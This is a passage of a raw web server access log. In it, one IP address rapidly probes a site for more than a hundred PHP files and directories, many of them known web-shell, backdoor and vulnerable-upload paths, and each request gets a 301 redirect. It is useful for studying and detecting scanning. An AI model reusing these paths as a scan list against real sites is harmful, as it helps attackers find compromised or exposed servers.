212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /de-ideale-stookmix/wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-includes/Requests/src/Response/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-content/plugins/wps-hide-login/wps-hide-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-content/plugins/wp-diambar/includes/loadme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /assets/images/accesson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-content/plugins/wp-plugin/wp-plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-content/plugins/wp-default/sh/member.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-includes/ms-pie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /.well-known/logs233/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /assets/plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-content/plugins/wp-security-scan/secure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /owncloud/status.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-content/uploads/autodiagnosis.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/templates/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-includes/nav-menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-includes/css/dist/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-content/plugins/pwnd/file-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-content/mu-plugins/helper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:26 +0300] "GET /wp-admin/images/archive.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/plugins/Ultimate_VC_Addons/assets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-includes/js/dist/script-modules/block-library/search/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-includes/customize/class-wp-customize-cropped-image-control.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/uploads/system_core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-includes/css/dist/preferences/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-includes/blocks/media-text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-includes/phpmailer/phpmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /plus/90sec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /.trash7206/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /storage/framework/views/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:27 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-includes/blocks/latest-comments/template-loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/wpvivid_uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-includes/blocks/nextpage/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/plugins/akismet/views/cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-admin/includes/nav-menu-trigger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-includes/link-template-firewall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /assets/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /themes/fitnessbase/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:28 +0300] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-admin/post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /lib/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /assets/bootstrap-fileupload/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /assets/jquery-ui/images/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-includes/Requests/library/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:29 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:30 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 